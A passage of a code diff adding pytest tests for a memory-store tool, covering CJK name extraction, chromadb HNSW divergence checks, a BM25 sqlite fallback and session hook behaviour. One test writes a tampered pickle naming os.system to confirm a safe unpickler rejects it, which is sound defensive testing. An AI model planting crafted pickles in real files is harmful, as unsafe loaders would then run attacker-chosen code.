assert result["张三"] >= 3
|
||||
|
||||
|
||||
def test_zh_cn_and_zh_tw_union_covers_both_variants():
|
||||
"""Passing both zh-CN and zh-TW unions the surname sets — a document
|
||||
mixing simplified 张三 and traditional 張三 extracts both."""
|
||||
text = "张三 说 hello。张三 笑了。张三 同意。\n張三 也參加。張三 寫 code。張三 決定。\n"
|
||||
result = extract_candidates(text, languages=("zh-TW", "zh-CN"))
|
||||
# At least one variant meets freq>=3
|
||||
assert "张三" in result or "張三" in result
|
||||
|
||||
|
||||
def test_zh_tw_known_limitation_inline_name_no_boundary():
|
||||
"""Documented limitation: a name sandwiched between CJK chars with no
|
||||
whitespace or punctuation break is not extracted. This is a fundamental
|
||||
limit of regex-based CJK entity detection — words have no delimiters.
|
||||
Realistic Chinese writing has enough non-CJK boundaries (punctuation,
|
||||
newlines, mixed English) that 3+ occurrences normally produce matches
|
||||
elsewhere in the document, so this rarely degrades real-world recall."""
|
||||
# 朱宜振 appears 4x but every instance is flanked by CJK on both sides.
|
||||
text = "他是朱宜振今天來。說朱宜振決定。又朱宜振負責。問朱宜振意見。"
|
||||
result = extract_candidates(text, languages=("zh-TW",))
|
||||
# Extraction is expected to miss this adversarial case.
|
||||
assert "朱宜振" not in result
|
||||
|
||||
@@ -0,0 +1,488 @@
|
||||
"""Tests for the #1222 HNSW capacity probe and BM25-only fallback.
|
||||
|
||||
The probe and fallback never load chromadb's HNSW segment, so all of
|
||||
these tests synthesize the on-disk shape directly: a chroma.sqlite3 with
|
||||
the relevant schema rows and an ``index_metadata.pickle`` matching what
|
||||
chromadb 1.5.x writes (``{"id_to_label": {...}, ...}``).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import pickle
|
||||
import sqlite3
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace.backends.chroma import (
|
||||
_hnsw_element_count,
|
||||
_vector_segment_id,
|
||||
hnsw_capacity_status,
|
||||
)
|
||||
from mempalace.searcher import _bm25_only_via_sqlite
|
||||
|
||||
|
||||
COLLECTION = "mempalace_drawers"
|
||||
|
||||
|
||||
# ── Fixtures ──────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _seed_chroma_db(
|
||||
palace: str,
|
||||
sqlite_count: int,
|
||||
segment_id: str,
|
||||
sync_threshold: int | None = None,
|
||||
) -> None:
|
||||
"""Create a minimal chroma.sqlite3 with one collection + VECTOR segment.
|
||||
|
||||
Mirrors the columns the probe queries: ``segments``, ``collections``,
|
||||
``collection_metadata``, ``embeddings``, ``embedding_metadata``.
|
||||
Schema matches chromadb 1.5.x; column types are kept loose because
|
||||
we read with COUNT(*) and SELECT key, *_value rather than driver-
|
||||
specific casts.
|
||||
|
||||
When ``sync_threshold`` is supplied, an ``hnsw:sync_threshold`` row
|
||||
is added to ``collection_metadata`` so the divergence floor scales
|
||||
accordingly. Omit to model an older palace that pre-dates PR #1191.
|
||||
"""
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
conn = sqlite3.connect(db_path)
|
||||
try:
|
||||
conn.executescript(
|
||||
"""
|
||||
CREATE TABLE collections (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL
|
||||
);
|
||||
CREATE TABLE collection_metadata (
|
||||
collection_id TEXT REFERENCES collections(id) ON DELETE CASCADE,
|
||||
key TEXT NOT NULL,
|
||||
str_value TEXT,
|
||||
int_value INTEGER,
|
||||
float_value REAL,
|
||||
bool_value INTEGER,
|
||||
PRIMARY KEY (collection_id, key)
|
||||
);
|
||||
CREATE TABLE segments (
|
||||
id TEXT PRIMARY KEY,
|
||||
collection TEXT NOT NULL,
|
||||
scope TEXT NOT NULL
|
||||
);
|
||||
CREATE TABLE embeddings (
|
||||
id INTEGER PRIMARY KEY,
|
||||
segment_id TEXT NOT NULL,
|
||||
embedding_id TEXT NOT NULL,
|
||||
seq_id BLOB NOT NULL,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
CREATE TABLE embedding_metadata (
|
||||
id INTEGER REFERENCES embeddings(id),
|
||||
key TEXT NOT NULL,
|
||||
string_value TEXT,
|
||||
int_value INTEGER,
|
||||
float_value REAL,
|
||||
bool_value INTEGER,
|
||||
PRIMARY KEY (id, key)
|
||||
);
|
||||
CREATE VIRTUAL TABLE embedding_fulltext_search
|
||||
USING fts5(string_value, tokenize='trigram');
|
||||
"""
|
||||
)
|
||||
col_id = "col-test"
|
||||
meta_seg = "seg-meta"
|
||||
conn.execute("INSERT INTO collections (id, name) VALUES (?, ?)", (col_id, COLLECTION))
|
||||
if sync_threshold is not None:
|
||||
conn.execute(
|
||||
"""INSERT INTO collection_metadata (collection_id, key, int_value)
|
||||
VALUES (?, 'hnsw:sync_threshold', ?)""",
|
||||
(col_id, sync_threshold),
|
||||
)
|
||||
conn.execute(
|
||||
"INSERT INTO segments (id, collection, scope) VALUES (?, ?, 'VECTOR')",
|
||||
(segment_id, col_id),
|
||||
)
|
||||
conn.execute(
|
||||
"INSERT INTO segments (id, collection, scope) VALUES (?, ?, 'METADATA')",
|
||||
(meta_seg, col_id),
|
||||
)
|
||||
for i in range(sqlite_count):
|
||||
conn.execute(
|
||||
"""INSERT INTO embeddings (id, segment_id, embedding_id, seq_id)
|
||||
VALUES (?, ?, ?, ?)""",
|
||||
(i + 1, segment_id, f"d-{i}", b"\x00\x00\x00\x00\x00\x00\x00\x01"),
|
||||
)
|
||||
conn.commit()
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def _write_pickle(palace: str, segment_id: str, hnsw_count: int) -> None:
|
||||
"""Write an index_metadata.pickle matching chromadb 1.5.x's shape.
|
||||
|
||||
1.5.x ``__reduce_ex__`` serializes the PersistentData instance as a
|
||||
plain dict; we replicate that so the safe unpickler in
|
||||
``_hnsw_element_count`` reads the same bytes shape it would in
|
||||
production.
|
||||
"""
|
||||
seg_dir = os.path.join(palace, segment_id)
|
||||
os.makedirs(seg_dir, exist_ok=True)
|
||||
pickle_path = os.path.join(seg_dir, "index_metadata.pickle")
|
||||
state = {
|
||||
"dimensionality": 384,
|
||||
"total_elements_added": hnsw_count,
|
||||
"max_seq_id": None,
|
||||
"id_to_label": {f"d-{i}": i for i in range(hnsw_count)},
|
||||
"label_to_id": {i: f"d-{i}" for i in range(hnsw_count)},
|
||||
"id_to_seq_id": {},
|
||||
}
|
||||
with open(pickle_path, "wb") as f:
|
||||
pickle.dump(state, f, pickle.HIGHEST_PROTOCOL)
|
||||
|
||||
|
||||
# ── _vector_segment_id ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_vector_segment_id_returns_uuid(tmp_path):
|
||||
seg = "11111111-2222-3333-4444-555555555555"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=10, segment_id=seg)
|
||||
assert _vector_segment_id(str(tmp_path), COLLECTION) == seg
|
||||
|
||||
|
||||
def test_vector_segment_id_no_palace(tmp_path):
|
||||
assert _vector_segment_id(str(tmp_path), COLLECTION) is None
|
||||
|
||||
|
||||
def test_vector_segment_id_unknown_collection(tmp_path):
|
||||
seg = "11111111-2222-3333-4444-555555555555"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=10, segment_id=seg)
|
||||
assert _vector_segment_id(str(tmp_path), "nope") is None
|
||||
|
||||
|
||||
# ── _hnsw_element_count ───────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_hnsw_element_count_reads_pickle(tmp_path):
|
||||
seg = "seg-001"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=100, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=42)
|
||||
assert _hnsw_element_count(str(tmp_path), seg) == 42
|
||||
|
||||
|
||||
def test_hnsw_element_count_missing_pickle(tmp_path):
|
||||
seg = "seg-001"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=100, segment_id=seg)
|
||||
# Segment dir doesn't even exist — no flush ever happened.
|
||||
assert _hnsw_element_count(str(tmp_path), seg) is None
|
||||
|
||||
|
||||
def test_hnsw_element_count_rejects_arbitrary_class(tmp_path):
|
||||
"""Pickled references to unallowed classes must not deserialize.
|
||||
|
||||
Guards against a tampered ``index_metadata.pickle`` triggering code
|
||||
execution. The unpickler allowlist is the only protection between
|
||||
the file and arbitrary import-time side effects. We hand-craft the
|
||||
pickle bytes (rather than ``pickle.dump`` a local class) because
|
||||
pickle can't serialize locally-defined classes — but the bytes form
|
||||
that names an arbitrary stdlib class is a faithful proxy for the
|
||||
tampered-file threat we want to test.
|
||||
"""
|
||||
import pickle as _pickle
|
||||
|
||||
seg = "seg-evil"
|
||||
seg_dir = tmp_path / seg
|
||||
seg_dir.mkdir()
|
||||
pickle_path = seg_dir / "index_metadata.pickle"
|
||||
# GLOBAL opcode pointing at os.system, then STOP. If the unpickler
|
||||
# didn't enforce the allowlist, find_class would resolve os.system
|
||||
# and pickle would set up the call. The allowlist must reject it
|
||||
# before find_class returns anything.
|
||||
payload = b"c" + b"os\nsystem\n" + _pickle.STOP
|
||||
pickle_path.write_bytes(payload)
|
||||
assert _hnsw_element_count(str(tmp_path), seg) is None
|
||||
|
||||
|
||||
# ── hnsw_capacity_status ──────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_capacity_status_ok_when_balanced(tmp_path):
|
||||
seg = "seg-001"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=1000, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=950)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
assert info["status"] == "ok"
|
||||
assert info["diverged"] is False
|
||||
assert info["sqlite_count"] == 1000
|
||||
assert info["hnsw_count"] == 950
|
||||
|
||||
|
||||
def test_capacity_status_flags_severe_divergence(tmp_path):
|
||||
"""Reproduces #1222: sqlite has 192k, HNSW frozen at ~16k."""
|
||||
seg = "seg-1222"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=20_000, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=2_000)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
assert info["status"] == "diverged"
|
||||
assert info["diverged"] is True
|
||||
assert info["divergence"] == 18_000
|
||||
assert "repair" in info["message"].lower()
|
||||
|
||||
|
||||
def test_capacity_status_tolerates_flush_lag(tmp_path):
|
||||
"""A few hundred entries behind sqlite is normal post-mine state."""
|
||||
seg = "seg-lag"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=5_000, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=4_500)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
assert info["diverged"] is False
|
||||
assert info["status"] == "ok"
|
||||
|
||||
|
||||
def test_capacity_status_flags_unflushed_with_large_sqlite(tmp_path):
|
||||
"""No pickle + many sqlite rows is its own divergence signal."""
|
||||
seg = "seg-noflush"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=10_000, segment_id=seg)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
assert info["diverged"] is True
|
||||
assert info["hnsw_count"] is None
|
||||
assert "never flushed" in info["message"]
|
||||
|
||||
|
||||
def test_capacity_status_quiet_for_empty_palace(tmp_path):
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
assert info["diverged"] is False
|
||||
assert info["status"] == "unknown"
|
||||
|
||||
|
||||
# ── Divergence threshold scales with hnsw:sync_threshold ───────────────
|
||||
|
||||
|
||||
def test_capacity_status_tolerates_lag_under_large_sync_threshold(tmp_path):
|
||||
"""Regression for the PR #1191 / PR #1227 conflict.
|
||||
|
||||
Palaces created via mempalace's _HNSW_BLOAT_GUARD (sync_threshold=
|
||||
50_000) naturally accumulate up to ~50K queued entries between
|
||||
flushes. The pickle-vs-sqlite probe must scale its tolerance to
|
||||
``2 × sync_threshold`` so this expected lag is not flagged as
|
||||
corruption — otherwise vector search disables for ~80% of the
|
||||
write cycle on any actively-mined ≥100K palace.
|
||||
"""
|
||||
seg = "seg-bloat-guard"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=100_000, segment_id=seg, sync_threshold=50_000)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=50_000)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
# 50K divergence is exactly one flush window — well within 2× = 100K.
|
||||
assert info["diverged"] is False, info["message"]
|
||||
assert info["status"] == "ok"
|
||||
assert info["divergence"] == 50_000
|
||||
|
||||
|
||||
def test_capacity_status_still_flags_real_corruption_under_large_sync(tmp_path):
|
||||
"""The dynamic floor must still catch genuine #1222-style corruption.
|
||||
|
||||
sqlite at 200K with HNSW frozen at 16K is the original #1222 shape —
|
||||
any reasonable threshold should flag it, regardless of whether the
|
||||
collection was created with sync_threshold=1000 or 50_000.
|
||||
"""
|
||||
seg = "seg-1222-with-bloat-guard"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=200_000, segment_id=seg, sync_threshold=50_000)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=16_384)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
# 183,616 missing — far past 2 × 50K = 100K floor and 10% of 200K = 20K.
|
||||
assert info["diverged"] is True
|
||||
assert info["status"] == "diverged"
|
||||
assert info["divergence"] == 183_616
|
||||
|
||||
|
||||
def test_capacity_status_default_threshold_when_no_sync_metadata(tmp_path):
|
||||
"""Older palaces without ``hnsw:sync_threshold`` fall back to 2000 floor.
|
||||
|
||||
Pre-PR-#1191 collections only carry ``hnsw:space``. The probe must
|
||||
use chromadb's own default sync_threshold of 1000 → floor of 2000,
|
||||
matching pre-fix behavior.
|
||||
"""
|
||||
seg = "seg-legacy"
|
||||
# No sync_threshold supplied — collection_metadata stays empty.
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=10_000, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=7_500)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
# 2,500 divergence > max(2000 floor, 10% of 10K = 1000) → DIVERGED
|
||||
assert info["diverged"] is True
|
||||
assert info["divergence"] == 2_500
|
||||
|
||||
|
||||
def test_unflushed_path_also_uses_dynamic_floor(tmp_path):
|
||||
"""The never-flushed branch must scale with sync_threshold too.
|
||||
|
||||
A 30K-drawer collection under sync_threshold=50_000 hasn't reached
|
||||
its first flush yet — pickle is absent. Pre-fix this would flag
|
||||
DIVERGED (30K > fixed 2000 floor); post-fix the 30K stays under
|
||||
the dynamic 100K floor.
|
||||
"""
|
||||
seg = "seg-preflush-large"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=30_000, segment_id=seg, sync_threshold=50_000)
|
||||
info = hnsw_capacity_status(str(tmp_path), COLLECTION)
|
||||
assert info["hnsw_count"] is None
|
||||
assert info["diverged"] is False, info["message"]
|
||||
|
||||
|
||||
# ── BM25-only sqlite fallback ─────────────────────────────────────────
|
||||
|
||||
|
||||
def _seed_drawers(palace: str, segment_id: str, drawers: list[tuple[str, dict, str]]) -> None:
|
||||
"""Insert (text, metadata, embedding_id) tuples into a seeded palace.
|
||||
|
||||
Replaces the bare ``embeddings`` rows from ``_seed_chroma_db`` so the
|
||||
sqlite count matches what we insert here.
|
||||
"""
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
conn = sqlite3.connect(db_path)
|
||||
try:
|
||||
conn.execute("DELETE FROM embeddings")
|
||||
for i, (text, meta, eid) in enumerate(drawers, start=1):
|
||||
conn.execute(
|
||||
"""INSERT INTO embeddings (id, segment_id, embedding_id, seq_id)
|
||||
VALUES (?, ?, ?, ?)""",
|
||||
(i, segment_id, eid, b"\x00" * 8),
|
||||
)
|
||||
conn.execute(
|
||||
"""INSERT INTO embedding_metadata (id, key, string_value)
|
||||
VALUES (?, 'chroma:document', ?)""",
|
||||
(i, text),
|
||||
)
|
||||
conn.execute(
|
||||
"INSERT INTO embedding_fulltext_search (rowid, string_value) VALUES (?, ?)",
|
||||
(i, text),
|
||||
)
|
||||
for k, v in meta.items():
|
||||
if isinstance(v, int):
|
||||
conn.execute(
|
||||
"""INSERT INTO embedding_metadata (id, key, int_value)
|
||||
VALUES (?, ?, ?)""",
|
||||
(i, k, v),
|
||||
)
|
||||
else:
|
||||
conn.execute(
|
||||
"""INSERT INTO embedding_metadata (id, key, string_value)
|
||||
VALUES (?, ?, ?)""",
|
||||
(i, k, str(v)),
|
||||
)
|
||||
conn.commit()
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def palace_with_drawers(tmp_path):
|
||||
seg = "seg-bm25"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=0, segment_id=seg)
|
||||
drawers = [
|
||||
(
|
||||
"ChromaDB segfault on every tool call after HNSW divergence",
|
||||
{"wing": "ops", "room": "incidents", "source_file": "/x/incident.md"},
|
||||
"d-1",
|
||||
),
|
||||
(
|
||||
"Memory palace technique using rooms and drawers for recall",
|
||||
{"wing": "design", "room": "metaphor", "source_file": "/x/design.md"},
|
||||
"d-2",
|
||||
),
|
||||
(
|
||||
"Repair rebuild backs up only the sqlite database",
|
||||
{"wing": "ops", "room": "runbook", "source_file": "/x/repair.md"},
|
||||
"d-3",
|
||||
),
|
||||
]
|
||||
_seed_drawers(str(tmp_path), seg, drawers)
|
||||
return tmp_path
|
||||
|
||||
|
||||
def test_bm25_fallback_returns_matches(palace_with_drawers):
|
||||
out = _bm25_only_via_sqlite("segfault chromadb", str(palace_with_drawers), n_results=5)
|
||||
assert out["fallback"] == "bm25_only_via_sqlite"
|
||||
assert len(out["results"]) >= 1
|
||||
top = out["results"][0]
|
||||
# The incident drawer is the closest BM25 match for these terms.
|
||||
assert "segfault" in top["text"].lower()
|
||||
assert top["matched_via"] == "bm25_sqlite"
|
||||
# Vector fields are intentionally absent in fallback mode.
|
||||
assert top["similarity"] is None
|
||||
assert top["distance"] is None
|
||||
|
||||
|
||||
def test_bm25_fallback_filters_by_wing(palace_with_drawers):
|
||||
out = _bm25_only_via_sqlite(
|
||||
"memory palace recall", str(palace_with_drawers), wing="design", n_results=5
|
||||
)
|
||||
assert all(r["wing"] == "design" for r in out["results"])
|
||||
|
||||
|
||||
def test_bm25_fallback_no_palace(tmp_path):
|
||||
out = _bm25_only_via_sqlite("anything", str(tmp_path))
|
||||
assert "error" in out
|
||||
|
||||
|
||||
def test_bm25_fallback_handles_short_query(palace_with_drawers):
|
||||
"""Single-character tokens are unmatchable in trigram FTS5 — must
|
||||
not crash, must fall back to the recency window."""
|
||||
out = _bm25_only_via_sqlite("a", str(palace_with_drawers), n_results=5)
|
||||
# Falls back to recency window; returns whatever it can rank.
|
||||
assert out["fallback"] == "bm25_only_via_sqlite"
|
||||
assert isinstance(out["results"], list)
|
||||
|
||||
|
||||
# ── repair.status CLI command ─────────────────────────────────────────
|
||||
|
||||
|
||||
def test_repair_status_reports_diverged(tmp_path, capsys):
|
||||
"""The status command prints DIVERGED and recommends rebuild."""
|
||||
from mempalace.repair import status as repair_status
|
||||
|
||||
seg = "seg-status"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=20_000, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=2_000)
|
||||
out = repair_status(palace_path=str(tmp_path))
|
||||
captured = capsys.readouterr().out
|
||||
assert "DIVERGED" in captured
|
||||
assert "mempalace repair`" in captured
|
||||
assert out["drawers"]["diverged"] is True
|
||||
|
||||
|
||||
def test_repair_status_quiet_on_healthy_palace(tmp_path, capsys):
|
||||
from mempalace.repair import status as repair_status
|
||||
|
||||
seg = "seg-status-ok"
|
||||
_seed_chroma_db(str(tmp_path), sqlite_count=500, segment_id=seg)
|
||||
_write_pickle(str(tmp_path), seg, hnsw_count=480)
|
||||
repair_status(palace_path=str(tmp_path))
|
||||
captured = capsys.readouterr().out
|
||||
assert "DIVERGED" not in captured
|
||||
assert "Recommended" not in captured
|
||||
|
||||
|
||||
# ── tool_status sqlite fallback (#1222 short-circuit) ─────────────────
|
||||
|
||||
|
||||
def test_tool_status_via_sqlite_returns_breakdown(palace_with_drawers, monkeypatch):
|
||||
"""When _vector_disabled is set, tool_status reads counts from sqlite
|
||||
instead of opening a chromadb client."""
|
||||
from mempalace import mcp_server
|
||||
|
||||
# _config.palace_path is a read-only property; swap the whole object
|
||||
# for a tiny stand-in so we don't have to monkey with the real
|
||||
# MempalaceConfig.
|
||||
class _Cfg:
|
||||
palace_path = str(palace_with_drawers)
|
||||
|
||||
monkeypatch.setattr(mcp_server, "_config", _Cfg())
|
||||
monkeypatch.setattr(mcp_server, "_vector_disabled", True)
|
||||
monkeypatch.setattr(mcp_server, "_vector_disabled_reason", "test divergence")
|
||||
|
||||
out = mcp_server._tool_status_via_sqlite()
|
||||
assert out["vector_disabled"] is True
|
||||
assert out["vector_disabled_reason"] == "test divergence"
|
||||
assert out["total_drawers"] == 3
|
||||
# Wing breakdown comes from the seeded palace_with_drawers fixture:
|
||||
# ops×2 (incident + repair runbook), design×1 (metaphor).
|
||||
assert out["wings"].get("ops") == 2
|
||||
assert out["wings"].get("design") == 1
|
||||
+412
-75
@@ -4,21 +4,24 @@ import json
|
||||
import os
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace.hooks_cli import (
|
||||
SAVE_INTERVAL,
|
||||
STOP_BLOCK_REASON,
|
||||
_count_human_messages,
|
||||
_get_mine_dir,
|
||||
_extract_recent_messages,
|
||||
_get_mine_targets,
|
||||
_log,
|
||||
_maybe_auto_ingest,
|
||||
_mempalace_python,
|
||||
_mine_already_running,
|
||||
_mine_sync,
|
||||
_parse_harness_input,
|
||||
_sanitize_session_id,
|
||||
_validate_transcript_path,
|
||||
_wing_from_transcript_path,
|
||||
hook_stop,
|
||||
hook_session_start,
|
||||
hook_precompact,
|
||||
@@ -26,6 +29,21 @@ from mempalace.hooks_cli import (
|
||||
)
|
||||
|
||||
|
||||
# --- _mempalace_python ---
|
||||
|
||||
|
||||
def test_mempalace_python_returns_string():
|
||||
result = _mempalace_python()
|
||||
assert isinstance(result, str)
|
||||
assert "python" in result
|
||||
|
||||
|
||||
def test_mempalace_python_finds_venv():
|
||||
"""Should resolve to a valid Python interpreter path."""
|
||||
result = _mempalace_python()
|
||||
assert result and "python" in os.path.basename(result).lower()
|
||||
|
||||
|
||||
# --- _sanitize_session_id ---
|
||||
|
||||
|
||||
@@ -109,17 +127,57 @@ def test_count_malformed_json_lines(tmp_path):
|
||||
assert _count_human_messages(str(transcript)) == 1
|
||||
|
||||
|
||||
# --- _extract_recent_messages ---
|
||||
|
||||
|
||||
def test_extract_recent_messages_basic(tmp_path):
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
_write_transcript(
|
||||
transcript,
|
||||
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(5)],
|
||||
)
|
||||
msgs = _extract_recent_messages(str(transcript), count=3)
|
||||
assert len(msgs) == 3
|
||||
assert msgs[0] == "msg 2"
|
||||
assert msgs[2] == "msg 4"
|
||||
|
||||
|
||||
def test_extract_recent_messages_skips_commands(tmp_path):
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
_write_transcript(
|
||||
transcript,
|
||||
[
|
||||
{"message": {"role": "user", "content": "real msg"}},
|
||||
{"message": {"role": "user", "content": "<command-message>status</command-message>"}},
|
||||
{"message": {"role": "user", "content": "<system-reminder>hook</system-reminder>"}},
|
||||
],
|
||||
)
|
||||
msgs = _extract_recent_messages(str(transcript))
|
||||
assert len(msgs) == 1
|
||||
assert msgs[0] == "real msg"
|
||||
|
||||
|
||||
def test_extract_recent_messages_missing_file():
|
||||
assert _extract_recent_messages("/nonexistent.jsonl") == []
|
||||
|
||||
|
||||
# --- hook_stop ---
|
||||
|
||||
|
||||
def _capture_hook_output(hook_fn, data, harness="claude-code", state_dir=None):
|
||||
"""Run a hook and capture its JSON stdout output."""
|
||||
import io
|
||||
from unittest.mock import PropertyMock
|
||||
|
||||
buf = io.StringIO()
|
||||
patches = [patch("mempalace.hooks_cli._output", side_effect=lambda d: buf.write(json.dumps(d)))]
|
||||
if state_dir:
|
||||
patches.append(patch("mempalace.hooks_cli.STATE_DIR", state_dir))
|
||||
# Mock MempalaceConfig so tests don't depend on user's ~/.mempalace/config.json
|
||||
mock_config = MagicMock()
|
||||
type(mock_config).hook_silent_save = PropertyMock(return_value=True)
|
||||
type(mock_config).hook_desktop_toast = PropertyMock(return_value=False)
|
||||
patches.append(patch("mempalace.config.MempalaceConfig", return_value=mock_config))
|
||||
with contextlib.ExitStack() as stack:
|
||||
for p in patches:
|
||||
stack.enter_context(p)
|
||||
@@ -161,19 +219,43 @@ def test_stop_hook_passthrough_below_interval(tmp_path):
|
||||
assert result == {}
|
||||
|
||||
|
||||
def test_stop_hook_blocks_at_interval(tmp_path):
|
||||
def test_stop_hook_saves_silently_at_interval(tmp_path):
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
_write_transcript(
|
||||
transcript,
|
||||
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
||||
)
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
save_result = {"count": 15, "themes": ["hooks", "notifications"]}
|
||||
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
# Saves silently — systemMessage notification with themes, no block
|
||||
assert result["systemMessage"].startswith("\u2726 15 memories woven into the palace")
|
||||
assert "hooks" in result["systemMessage"]
|
||||
# tmp_path has no "-Projects-" segment, so _wing_from_transcript_path falls back to "wing_sessions"
|
||||
mock_save.assert_called_once_with(str(transcript), "test", wing="wing_sessions", toast=False)
|
||||
|
||||
|
||||
def test_stop_hook_derives_wing_from_transcript_path(tmp_path):
|
||||
"""When transcript path looks like a Claude Code path, wing is derived from it."""
|
||||
project_dir = tmp_path / ".claude" / "projects" / "-home-jp-Projects-myproject"
|
||||
project_dir.mkdir(parents=True)
|
||||
transcript = project_dir / "session.jsonl"
|
||||
_write_transcript(
|
||||
transcript,
|
||||
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
||||
)
|
||||
assert result["decision"] == "block"
|
||||
assert result["reason"] == STOP_BLOCK_REASON
|
||||
save_result = {"count": 15, "themes": []}
|
||||
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result) as mock_save:
|
||||
_capture_hook_output(
|
||||
hook_stop,
|
||||
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
mock_save.assert_called_once_with(str(transcript), "test", wing="wing_myproject", toast=False)
|
||||
|
||||
|
||||
def test_stop_hook_tracks_save_point(tmp_path):
|
||||
@@ -184,13 +266,17 @@ def test_stop_hook_tracks_save_point(tmp_path):
|
||||
)
|
||||
data = {"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)}
|
||||
|
||||
# First call blocks
|
||||
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
|
||||
assert result["decision"] == "block"
|
||||
# First call saves silently with systemMessage notification
|
||||
save_result = {"count": 15, "themes": ["hooks"]}
|
||||
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
||||
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
|
||||
assert "systemMessage" in result
|
||||
|
||||
# Second call with same count passes through (already saved)
|
||||
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
|
||||
with patch("mempalace.hooks_cli._save_diary_direct") as mock_save:
|
||||
result = _capture_hook_output(hook_stop, data, state_dir=tmp_path)
|
||||
assert result == {}
|
||||
mock_save.assert_not_called()
|
||||
|
||||
|
||||
# --- hook_session_start ---
|
||||
@@ -217,9 +303,111 @@ def test_precompact_allows(tmp_path):
|
||||
assert result == {}
|
||||
|
||||
|
||||
# --- _wing_from_transcript_path ---
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_extracts_project():
|
||||
path = "/home/jp/.claude/projects/-home-jp-Projects-memorypalace/session.jsonl"
|
||||
assert _wing_from_transcript_path(path) == "wing_memorypalace"
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_fallback():
|
||||
assert _wing_from_transcript_path("/some/random/path.jsonl") == "wing_sessions"
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_windows_backslashes():
|
||||
path = "C:\\Users\\jp\\.claude\\projects\\-home-jp-Projects-myapp\\session.jsonl"
|
||||
assert _wing_from_transcript_path(path) == "wing_myapp"
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_lowercases():
|
||||
path = "/home/jp/.claude/projects/-home-jp-Projects-MyProject/session.jsonl"
|
||||
assert _wing_from_transcript_path(path) == "wing_myproject"
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_non_projects_layout():
|
||||
# Linux users with code under ~/dev/, ~/src/, ~/code/ — no -Projects- segment.
|
||||
# Project name is the final dash-separated token of the encoded folder.
|
||||
path = "/home/igor/.claude/projects/-home-igor-dev-MemPalace-mempalace/session.jsonl"
|
||||
assert _wing_from_transcript_path(path) == "wing_mempalace"
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_macos_users_layout():
|
||||
# macOS ~/ layout without a Projects/ segment.
|
||||
